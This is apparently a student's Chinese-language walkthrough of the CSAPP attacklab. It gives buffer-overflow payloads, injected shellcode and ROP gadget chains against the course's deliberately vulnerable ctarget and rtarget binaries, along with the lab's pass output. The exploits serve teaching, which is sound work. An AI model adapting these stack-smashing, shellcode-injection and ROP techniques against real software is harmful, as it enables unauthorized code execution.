attacklab

phase1

```
void __fastcall stable_launch(size_t offset)
{
  void *v1; // rax
  void *v2; // rbx
  __int64 v3; // [rsp+0h] [rbp-8h]

  global_offset = offset;
  v1 = mmap((void *)0x55586000, 0x100000uLL, 7, 306, 0, 0LL);
  v2 = v1;
  if ( v1 != (void *)0x55586000 )
  {
    munmap(v1, 0x100000uLL);
    __fprintf_chk(stderr, 1LL, "Couldn't map stack to segment at 0x%lx\n",
0x55586000LL);
    exit(1);
  }
  stack_top = (volatile void *)0x55685FF8;
  global_save_stack = &v3;
  launch(global_offset);
  munmap(v2, 0x100000uLL);
}
```

mmap重新申请分配出的内存页，prot参数的值为7，表明内存页可写可读可执行。

```
pwndbg> vmmap
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
          0x400000           0x404000 r-xp     4000 0      /home/l0g4n/CSAPP/source/ta
rget1/ctarget
          0x603000           0x604000 r--p     1000 3000   /home/l0g4n/CSAPP/source/ta
rget1/ctarget
          0x604000           0x605000 rw-p     1000 4000   /home/l0g4n/CSAPP/source/ta
rget1/ctarget
          0x605000           0x627000 rw-p    22000 0      [heap]
      0x55586000         0x556a6000 rwxp   100000 0
```

虽然程序开启了canary保护，但是在目标程序中并没有canary，所以，直接覆写ret返回地址，跳转到touch1函数就可以了。

```
l0g4n@l0g4n-virtual-machine:~/CSAPP/source/target1$ checksec ctarget
[*] '/home/l0g4n/CSAPP/source/target1/ctarget'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
    FORTIFY:  Enabled
```

```
l0g4n@l0g4n-virtual-machine:~/CSAPP/source/target1$ python -c "print 'a'*40+'\xc0\x17\
x40'"|./ctarget -q
Cookie: 0x59b997fa
Type string:Touch1!: You called touch1()
Valid solution for level 1 with target ctarget
PASS: Would have posted the following:
        user id bovik
        course  15213-f15
        lab     attacklab
        result  1:PASS:0xffffffff:ctarget:1:61 61 61 61 61 61 61 61 61 61 61 61 61 61
61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 C0 17 40
```

phase2

和上一个思路差不多，只不过要控制rdi寄存器的值等于全局变量cookie的值。cookie的值是给定的。

```
pwndbg> x/xg 0x6044E4
0x6044e4 <cookie>:      0x0000000059b997fa
```

```
l0g4n@l0g4n-virtual-machine:~/CSAPP/source/target1$ python -c "print 'a'*40+'\x1b\x14\
x40\x00\x00\x00\x00\x00'+'\xfa\x97\xb9\x59\x00\x00\x00\x00'+'\xec\x17\x40'"|./ctarget
-q
Cookie: 0x59b997fa
Type string:Touch2!: You called touch2(0x59b997fa)
Valid solution for level 2 with target ctarget
PASS: Would have posted the following:
        user id bovik
        course  15213-f15
        lab     attacklab
        result  1:PASS:0xffffffff:ctarget:2:61 61 61 61 61 61 61 61 61 61 61 61 61 61
61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 1B 14 40
 00 00 00 00 00 FA 97 B9 59 00 00 00 00 EC 17 40
```

找一下gadget，简单rop，很快。

phase3

看雪上发现了一个一个外国人搞的网站，汇编转hex值，转字符串等等。

[汇编转机器码]

phase3，直接rop也可以做，把shellcode布置在mmap出的数据段，跳转过去执行也可以。这次选第二种方法。

```
push 0x39623935
push 0x61663739
movq rdi,0x5561dc78
push 0x4018FA   // touch3函数地址
ret
```

在栈区写入如上的shellcode，然后跳转执行，rdi是字符串指针，指向栈顶，ret就是pop rip，将0x4018FA的值填入rip寄存器。覆盖到40个字节之后，将return地址覆盖为栈顶的值0x5561dc78。

```
l0g4n@l0g4n-virtual-machine:~/CSAPP/source/target1$ ./hex2raw<result3.txt|./ctarget -q
Cookie: 0x59b997fa
Type string:Misfire: You called touch3("9b9fa7_hU")
FAIL: Would have posted the following:
        user id bovik
        course  15213-f15
        lab     attacklab
        result  1:FAIL:0xffffffff:ctarget:3:68 35 39 62 39 68 39 37 66 61 48 C7 C7 78
DC 61 55 68 FA 18 40 00 C3 00 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 78 DC 61
 55
```

第一次排布的时候，报错了，后来仔细排查，发现是hexmatch函数调用的时候，会覆写getbuf函数的栈桢，所以strncmp函数导致hexmatch返回值为0。

解决的办法就是将cookie的值排布在后面的栈桢。

```
l0g4n@l0g4n-virtual-machine:~/CSAPP/source/target1$ python -c "print '\x48\xC7\xC7\xA
8\xDC\x61\x55\x68\xFA\x18\x40\x00\xC3'+'a'*27+'\x78\xdc\x61\x55\x00\x00\x00\x00'+'59b
997fa'+'\x00'"|./ctarget -q
Cookie: 0x59b997fa
Type string:Touch3!: You called touch3("59b997fa")
Valid solution for level 3 with target ctarget
PASS: Would have posted the following:
        user id bovik
        course  15213-f15
        lab     attacklab
        result  1:PASS:0xffffffff:ctarget:3:48 C7 C7 A8 DC 61 55 68 FA 18 40 00 C3 61
 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 78 DC
61 55 00 00 00 00 35 39 62 39 39 37 66 61 00
```

phase4

第四阶段和第五阶段需要对抗NX和ASLR，就需要通过rop技术来实现。

```
l0g4n@l0g4n-virtual-machine:~/CSAPP/source/target1$ ./hex2raw<result4.txt|./rtarget -
q
Cookie: 0x59b997fa
Type string:Touch1!: You called touch1()
Valid solution for level 1 with target rtarget
PASS: Would have posted the following:
        user id bovik
        course  15213-f15
        lab     attacklab
        result  1:PASS:0xffffffff:rtarget:1:61 61 61 61 61 61 61 61 61 61 61 61 61 61
 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 C0 17
40
```

phase5

phase2的时候用了phase5的做法.....

```
l0g4n@l0g4n-virtual-machine:~/CSAPP/source/target1$ python -c "print 'a'*40+'\x1b\x14
\x40\x00\x00\x00\x00'+'\xfa\x97\xb9\x59\x00\x00\x00\x00'+'\xec\x17\x40'"|./rtarge
t -q
Cookie: 0x59b997fa
Type string:Touch2!: You called touch2(0x59b997fa)
Valid solution for level 2 with target rtarget
PASS: Would have posted the following:
        user id bovik
        course  15213-f15
        lab     attacklab
        result  1:PASS:0xffffffff:rtarget:2:61 61 61 61 61 61 61 61 61 61 61 61 61 61
 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 1B 14
40 00 00 00 00 00 FA 97 B9 59 00 00 00 00 EC 17 40
```

phase6

由于开启了aslr，所以，栈区地址是不可知的，所以我们无法确定cookie到写入到了栈区的哪个地址处，所以这时候只能通过依赖栈寄存器加偏移值的方式来确定cookie指针的地址。

确定栈的寄存器：rsp（栈顶指针），rbp（栈底指针）。

```
a*40 +
0x0000000000401a06 : mov rax, rsp ; ret
0x00000000004019a2 : mov rdi, rax ; ret
0x0000000000401383 : pop rsi ; ret
_____________________填充偏移:0x30字节_________________
0x00000000004019d6 : add rdi, rsi ;
                     mov rax, rdi ;
                     ret;
0x00000000004019a2 : mov rdi, rax ; ret
_____________________填充touch3函数返回值_______________
_____________________填充cookie的ascii码_______________
```

```
30 30 30 30 30 30 30 30
30 30 30 30 30 30 30 30
30 30 30 30 30 30 30 30
30 30 30 30 30 30 30 30
30 30 30 30 30 30 30 30
06 1a 40 00 00 00 00 00
a2 19 40 00 00 00 00 00
83 13 40 00 00 00 00 00
30 00 00 00 00 00 00 00
d6 19 40 00 00 00 00 00
a2 19 40 00 00 00 00 00
fa 18 40 00 00 00 00 00
35 39 62 39 39 37 66 61
```

```
l0g4n@l0g4n-virtual-machine:~/CSAPP/source/target1$ ./hex2raw<result6.txt|./rtarget -q
Cookie: 0x59b997fa
Type string:Touch3!: You called touch3("59b997fa")
Valid solution for level 3 with target rtarget
PASS: Would have posted the following:
        user id bovik
        course  15213-f15
        lab     attacklab
        result  1:PASS:0xffffffff:rtarget:3:30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 06 1A 40 0
0 00 00 00 00 A2 19 40 00 00 00 00 00 83 13 40 00 00 00 00 00 30 00 00 00 00 00 00 00 D
6 19 40 00 00 00 00 00 A2 19 40 00 00 00 00 00 FA 18 40 00 00 00 00 00 35 39 62 39 39 3
7 66 61
```